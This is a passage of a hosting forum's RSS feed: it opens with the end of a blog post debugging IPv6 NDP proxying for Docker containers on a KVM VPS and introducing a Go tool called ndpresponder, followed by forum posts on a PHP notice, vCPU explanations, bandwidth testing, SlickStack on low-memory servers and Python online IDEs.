<li>To deliver a packet to 198.51.100.2, the router first queries its routing table and finds the above entry, then sends an ARP query to learn the MAC address of 192.0.2.2 which should be responded by the server, and finally delivers the packet to the learned MAC address.</li>
</ul></li>
<li><p>The main difference is what IP address is enclosed in the ARP query:</p>

<ul><li>If the destination IP address is an on-link IP address, the ARP query contains the destination IP address itself.</li>
<li>If the destination IP address is in a routed subnet, the ARP query contains the nexthop IP address, as determined by the routing table.</li>
</ul></li>
<li><p>If I want to assign an on-link IPv4 address (e.g. 192.0.2.18/28) to a container, the server should be made to answer ARP queries for that IP address so that the router would deliver packets to the server, and then forwards these packets to the container.</p>

<ul><li>This technique is called ARP proxy, in which the server responds to ARP queries on behalf of the container.</li>
</ul></li>
</ul><p>The situation is a bit more complex in IPv6 because each network interface can have multiple IPv6 addresses, but the same concept applies.<br />
Instead of Address Resolution Protocol (ARP), IPv6 uses <strong>Neighbor Discovery Protocol</strong> that is part of ICMPv6.<br />
A few terminology differs:</p>

<table><thead><tr><th>IPv4</th>
  <th>IPv6</th>
</tr></thead><tbody><tr><td>ARP</td>
  <td>Neighbor Discovery Protocol (NDP)</td>
</tr><tr><td>ARP query</td>
  <td>ICMPv6 Neighbor Solicitation</td>
</tr><tr><td>ARP reply</td>
  <td>ICMPv6 Neighbor Advertisement</td>
</tr><tr><td>ARP proxy</td>
  <td>NDP proxy</td>
</tr></tbody></table><p>If I want to assign an on-link IPv6 address to a container, the server should respond to neighbor solicitations for that IP address, so that the router would deliver packets to the server.<br />
After that, the server's Linux kernel could route the packet to the container's bridge, as if the destination IPv6 address was in a routed subnet.</p>

<h2 data-id="ndp-proxy-daemon-to-the-rescue-i-hope">NDP Proxy Daemon to the Rescue, I Hope?</h2>

<p><a rel="nofollow" href="https://github.com/DanielAdolfsson/ndppd">ndppd</a>, or NDP Proxy Daemon, is a program that listens for neighbor solicitations on a network interface and responds with neighbor advertisements.<br />
It is often recommended for dealing with the scenario when the server has only on-link IPv6 but we need a routed IPv6 subnet.</p>

<p>I installed <a rel="nofollow" href="https://packages.ubuntu.com/focal/ndppd">ndppd</a> on one of my servers, and it worked as expected with this configuration:</p>

<pre spellcheck="false" tabindex="0">proxy uplink {
  rule 2001:db8:fbc0:2:646f:636b:6572::/112 {
    auto
  }
}
</pre>

<p>I can start up a Docker container with a public IPv6 address.<br />
It can reach the IPv6 Internet, and can be ping-ed from outside.</p>

<pre spellcheck="false" tabindex="0">$ docker network create --ipv6 --subnet=172.26.0.0/16
  --subnet=2001:db8:fbc0:2:646f:636b:6572::/112 ipv6exposed
118c3a9e00595262e41b8cb839a55d1bc7bc54979a1ff76b5993273d82eea1f4

$ docker run -it --rm --network ipv6exposed
  --ip6 2001:db8:fbc0:2:646f:636b:6572:d002 alpine

# wget -q -O- https://www.cloudflare.com/cdn-cgi/trace | grep ip
ip=2001:db8:fbc0:2:646f:636b:6572:d002
</pre>

<p>However, when I repeated the same setup on another KVM server, things didn't go well: the container cannot reach the IPv6 Internet at all.</p>

<pre spellcheck="false" tabindex="0">$ docker run -it --rm --network ipv6exposed
  --ip6 2001:db8:f440:2:646f:636b:6572:d003 alpine

/ # ping -c 4 ipv6.google.com
PING ipv6.google.com (2607:f8b0:400a:809::200e): 56 data bytes

--- ipv6.google.com ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
</pre>

<h2 data-id="what-s-wrong-with-ndppd">What's Wrong with <em>ndppd</em>?</h2>

<p>Why <em>ndppd</em> works on the first server, but does not work on the second server?<br />
What's the difference?<br />
We need to go deeper, so I turned to <strong>tcpdump</strong>.</p>

<p>On the first server, I see:</p>

<pre spellcheck="false" tabindex="0">$ sudo tcpdump -pi uplink icmp6
19:13:17.958191 IP6 2001:db8:fbc0::1 &gt; ff02::1:ff72:d002:
    ICMP6, neighbor solicitation, who has 2001:db8:fbc0:2:646f:636b:6572:d002, length 32
19:13:17.958472 IP6 2001:db8:fbc0:2::2 &gt; 2001:db8:fbc0::1:
    ICMP6, neighbor advertisement, tgt is 2001:db8:fbc0:2:646f:636b:6572:d002, length 32
</pre>

<ul><li>The neighbor solicitation from the router comes from a <em>global</em> IPv6 address.</li>
<li><p>The server responds with a neighbor advertisement from its <em>global</em> IPv6 address.<br />
Note that this address differs from the container's address.</p></li>
<li><p>IPv6 works in the container.</p></li>
</ul><p>On the second server, I see:</p>

<pre spellcheck="false" tabindex="0">$ sudo tcpdump -pi uplink icmp6
00:07:53.617438 IP6 fe80::669d:99ff:feb1:55b8 &gt; ff02::1:ff72:d003:
    ICMP6, neighbor solicitation, who has 2001:db8:f440:2:646f:636b:6572:d003, length 32
00:07:53.617714 IP6 fe80::216:3eff:fedd:7c83 &gt; fe80::669d:99ff:feb1:55b8:
    ICMP6, neighbor advertisement, tgt is 2001:db8:f440:2:646f:636b:6572:d003, length 32
</pre>

<ul><li>The neighbor solicitation from the router comes from a <em>link-local</em> IPv6 address.</li>
<li>The server responds with a neighbor advertisement from its <em>link-local</em> IPv6 address.</li>
<li>IPv6 does not work in the container.</li>
</ul><p>Since IPv6 has been working on the second server for IPv6 addresses assigned to the server itself, I added a new IPv6 address and captured its NDP exchange:</p>

<pre spellcheck="false" tabindex="0">$ sudo tcpdump -pi uplink icmp6
00:29:39.378544 IP6 fe80::669d:99ff:feb1:55b8 &gt; ff02::1:ff00:a006:
    ICMP6, neighbor solicitation, who has 2001:db8:f440:2::a006, length 32
00:29:39.378581 IP6 2001:db8:f440:2::a006 &gt; fe80::669d:99ff:feb1:55b8:
    ICMP6, neighbor advertisement, tgt is 2001:db8:f440:2::a006, length 32
</pre>

<ul><li>The neighbor solicitation from the router comes from a <em>link-local</em> IPv6 address, same as above.</li>
<li>The server responds with a neighbor advertisement from the target <em>global</em> IPv6 address.</li>
<li>IPv6 works on the server from this address.</li>
</ul><p>In IPv6, each network interface can have multiple IPv6 addresses.<br />
When the Linux kernel responds to a neighbor solicitation in which the target address is assigned to the same network interface, it <a rel="nofollow" href="https://github.com/torvalds/linux/blob/v5.4/net/ipv6/ndisc.c#L528-L534">uses that particular address</a> as the source address.<br />
On the other hand, <em>ndppd</em> transmits neighbor advertisements via a <a rel="nofollow" href="https://github.com/DanielAdolfsson/ndppd/blob/0.2.5/src/iface.cc#L188">PF_INET6 socket</a> and <a rel="nofollow" href="https://github.com/DanielAdolfsson/ndppd/blob/0.2.5/src/iface.cc#L414">does not specify the source address</a>.<br />
In this case, some complicated rules for <a rel="nofollow" href="https://tools.ietf.org/html/rfc6724">default address selection</a> come into play.</p>

<p>One of these rules is preferring a source address that has the same <em>scope</em> as the destination address (i.e. the router).<br />
On my first server, the router uses a <em>global</em> address, and the server selects a <em>global</em> address as the source address on its neighbor advertisement.<br />
On my second server, the router uses a <em>link-local</em> address, and the server selects a <em>link-local</em> address, too.</p>

<p>In an unfiltered network, the router wouldn't care where the neighbor advertisements come from.<br />
However, when it comes to a KVM server on Virtualizor, the hypervisor would treat such packets as attempted IP spoofing attacks, and drop them via <a rel="nofollow" href="https://www.softaculous.com/board/index.php?tid=5662">ebtables rules</a>.<br />
Consequently, the neighbor advertisement never reaches the router, and the router has no way to know how to reach the container's IPv6 address.</p>

<h2 data-id="ndpresponder-ndp-responder-for-kvm-vps">ndpresponder: NDP Responder for KVM VPS</h2>

<p>I tried a few tricks such as <a rel="nofollow" href="https://yoursunny.com/t/2020/preferred-lft-netplan/">deprecating the link-local address</a>, but none of them worked.<br />
Thus, I made my own NDP responder that sends neighbor advertisements from the target address.</p>

<p><strong>ndpresponder</strong> is a Go program using the <a rel="nofollow" href="https://pkg.go.dev/github.com/google/gopacket">GoPacket</a> library.</p>

<ol><li>The program opens an AF_PACKET socket, with a BPF filter for ICMPv6 neighbor solicitation messages.</li>
<li>When a neighbor solicitation arrives, it checks the target address against a user-supplied IP range.</li>
<li>If the target address is in the range used for Docker containers, the program constructs an ICMPv6 neighbor advertisement messages and transmits it through the same AF_PACKET socket.</li>
</ol><p>A major difference from <em>ndppd</em> is that, the source IPv6 address on a neighbor advertisement message is always set to the same value as the target address of the neighbor solicitation, so that the message wouldn't be dropped by the hypervisor.<br />
This is made possible because I'm sending the message via an AF_PACKET socket, instead of the AF_INET6 socket used by <em>ndppd</em>.</p>

<p><strong>ndpresponder</strong> operates similarly as <em>ndppd</em> in "static" mode.<br />
It does not forward neighbor advertisements to the destination subnet like <em>ndppd</em> does in its "auto" mode, but this feature isn't important on a KVM server.</p>

<p>If <em>ndppd</em> doesn't seem to work on your KVM VPS, give <strong>ndpresponder</strong> a try!<br />
Head to my GitHub repository for installation and usage instructions:<br /><a rel="nofollow" href="https://github.com/yoursunny/ndpresponder">https://github.com/yoursunny/ndpresponder</a></p>
]]>
        </description>
    </item>
    <item>
        <title>PHP code notice</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3383/php-code-notice</link>
        <pubDate>Mon, 27 Sep 2021 15:10:50 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">3383@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>PHP code of whmbackup.solutuions gives a php warning (any support channel is apparently dead for now):</p>

<p><code spellcheck="false" tabindex="0">PHP Notice: Undefined offset: 1 in /home/myuser/whmbackupsolutions/whmbackup.php on line 49</code></p>

<p>And:</p>

<p><code spellcheck="false" tabindex="0">PHP Notice: Trying to access array offset on value of type null in /home/myuser/whmbackupsolutions/whmbackup.php on line 202</code></p>

<p>The line 49 says this:</p>

<p><code spellcheck="false" tabindex="0">list($arg_x, $arg_y) = explode('=', $arg);</code></p>

<p>Line 202 says:</p>

<p><code spellcheck="false" tabindex="0">if ($save_status["error"] == "1")</code></p>

<p>The entire code (copy/pasted):<br /><a href="https://wtools.io/paste-code/b6S5" rel="nofollow">https://wtools.io/paste-code/b6S5</a></p>

<p>I understand that PHP is getting less and less "liberal" and that the warning might turn into an error only with newer version updates.<br />
The script itself works fine for now.<br />
But if anyone has an easy fix for the problem, I'd appreciate it (I'm not a programmer).</p>
]]>
        </description>
    </item>
    <item>
        <title>vCPU and LVE &quot;% SPEED&quot; for dummies</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3380/vcpu-and-lve-speed-for-dummies</link>
        <pubDate>Mon, 27 Sep 2021 04:55:06 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">3380@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Discussion related to <a rel="nofollow" href="https://io.bikegremlin.com/23107/what-is-vcpu/" title="this article">this vCPU article</a> - I think it can be "moved" from the hosting offer discussion thread since it does go a bit off-topic there (may the moderators please correct as they see fit).</p>

<blockquote><div>
  <p><a href="https://dev.lowendspirit.com/index.php?p=/profile/johnk" rel="nofollow">@johnk</a> said:</p>
  
  <blockquote><div>
    <p><a href="https://dev.lowendspirit.com/index.php?p=/profile/bikegremlin" rel="nofollow">@bikegremlin</a> said:</p>
    
    <blockquote><div>
      <p><a href="https://dev.lowendspirit.com/index.php?p=/profile/johnk" rel="nofollow">@johnk</a> said:</p>
      
      <blockquote><div>
        <p><a href="https://dev.lowendspirit.com/index.php?p=/profile/bikegremlin" rel="nofollow">@bikegremlin</a> said:</p>
        
        <blockquote><div>
          <p><a href="https://dev.lowendspirit.com/index.php?p=/profile/asaljeplak" rel="nofollow">@asaljeplak</a> said:</p>
        </div></blockquote>
        
        <p>&gt;</p>
        
        <p>Keep an eye on the total resource usage (in LVM).</p>
        
        <p>Enterprise Entry Reseller for example lets you host a few larger websites that might otherwise have required a separate, “Enterprise Shared” account.</p>
        
        <p>That flexibility is a plus.</p>
        
        <p>The downside is having to keep an eye on the clients’ resource usage.</p>
        
        <p>So far, I am pleasantly how little resources all my sites take. Seems like I could easily add at least 10 more to the same reseller account.</p>
        
        <p>It’s all a shared hosting environment. I discussed the CloudLinux vCPU here:</p>
        
        <p><a href="https://io.bikegremlin.com/23107/what-is-vcpu/" rel="nofollow">https://io.bikegremlin.com/23107/what-is-vcpu/</a></p>
      </div></blockquote>
      
      <p>I love the analogies for the components - that is really awesome!</p>
      
      <p>One suggestion:</p>
      
      <blockquote><div>
        <p>Let’s take the above-mentioned 4-core (4 workers) CPU with 2 threads per core for an example:<br />
        4 cores with 2 threads each = 8 threads.<br />
        8 threads time 4 cores (again!) = 32 vCPU</p>
      </div></blockquote>
      
      <p>A vCPU is pretty much universally accepted as a (1) logical processor. You can pin/provision 4 (or 8, or 12, or whatever) users to a vCPU, the actual amount of vCPUs don't change (so you can't really "make" another vCPU). LVE/CGroups work by limiting the number of cycles you can run on a vCPU/CPU versus creating virtual "processors" for each user to run tasks on.</p>
      
      <p>That was just the part that stuck out to me as confusing.</p>
    </div></blockquote>
    
    <p>Thanks. <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /></p>
    
    <p>For a(n absolute) beginner, which explanation do you think is less confusing to get the hang of the basic concept?</p>
    
    <p>My idea is to use "iteration." At the cost of the first explanation being less correct/accurate, in order to relay the basic meaning/idea.</p>
  </div></blockquote>
  
  <p>IMHO, since you gloss over the idea if "threads" anyways ("hands") it makes sense to just use that and talk about provisioning users to threads. (eg, "# of jobs assigned to a worker")</p>
</div></blockquote>

<p>Thanks. I'll think it over. Though I fear that going any more technical might be a step back for the article in question.<br />
If I use the word "processor cycle" - that will probably take a separate article, or at least an extra "chapter" to explain. But that would be the technically most accurate explanation for the LVE.</p>

<p>In other words, at least in my opinion, to be more technically correct would take a separate article on CPU-s (that relates to an article about motherboards, and buses), and an article on virtualization and hypervisors (since I mention VPSs - because that's what gets around a lot "<a rel="nofollow" href="https://io.bikegremlin.com/13539/wp-site-hosting/#2.3" title="get a VPS">get a VPS</a>, it's more powerful!").</p>

<p>I'm sure that over the years I'll write those articles as well - then link to them for anyone interested in more details. And I'll see about correcting the existing article even before that - with your remarks in mind, but with a lot of thought and caution (leaning towards "less is more" for this article - it's already on the too-long side for its "target audience" as the marketers say <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /> ).</p>
]]>
        </description>
    </item>
    <item>
        <title>Testing bandwidth between VPSes?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3322/testing-bandwidth-between-vpses</link>
        <pubDate>Tue, 07 Sep 2021 23:14:47 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bdl</dc:creator>
        <guid isPermaLink="false">3322@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hi all,</p>

<p>Just reaching out to ask if anyone knew of any fancy automated tool that could be installed on multiple VPSes to test the bandwidth between them on a regular basis? I've got a Los Angeles Hosthatch service that seems to have less-than-expected network performance and I wanted to collect to more data see if it varies over time. Smokeping's showing cyclical latency variation but actual throughput stats would be great.</p>

<p>I was thinking of rolling something myself using iperf and cron, however thought I'd ask to see if there's something out there that I may have missed during my research...</p>

<p>thanks in advance!</p>
]]>
        </description>
    </item>
    <item>
        <title>SlickStack on the 512MB RAM cloud server?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3315/slickstack-on-the-512mb-ram-cloud-server</link>
        <pubDate>Sat, 04 Sep 2021 17:48:16 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>pateldev</dc:creator>
        <guid isPermaLink="false">3315@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>From their homepage it recommended 1GB RAM or more for Ubuntu/Mysql stability. On the Discord they said it was never tested using lesser RAM memory, but now includes 2GB swapfile since 2021 that will possibly help improve stability on the low memory VPS servers.</p>

<p>did anyone try SS on the 512MB server, and your recommend to improve stability? Cuz if I can launch 100 websites on low memory it will be like $2.50 only each which is amazing (not for Woocommerce)</p>

<p>kinda surprised nobody is talking about WordPress stack scripts here I see only one 2019 topic</p>

<p>talk.lowendspirit.com/discussion/336/anyone-tested-easyengine</p>
]]>
        </description>
    </item>
    <item>
        <title>Which online IDE do you use for Python?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3258/which-online-ide-do-you-use-for-python</link>
        <pubDate>Thu, 19 Aug 2021 14:59:58 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>Amitz</dc:creator>
        <guid isPermaLink="false">3258@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>My dear LESbians,</p>

<p>I started to code a bit in Python again (just for fun) and am using <a href="https://www.pythonanywhere.com/" rel="nofollow">https://www.pythonanywhere.com/</a> when I need an IDE on the go. Works very well so far, but I saw that there are plenty of alternatives out there. Too many to test them all myself. So I wonder - Which Python online IDE do you use and why?</p>

<p>Furthermore: On iOS - Would you recommend Pyto or Pythonista?</p>

<p>Thanks a lot in advance for you sharing your precious experiences!</p>

<p>Cheers,<br />
Amitz</p>
]]>
        </description>
    </item>
   </channel>
</rss>
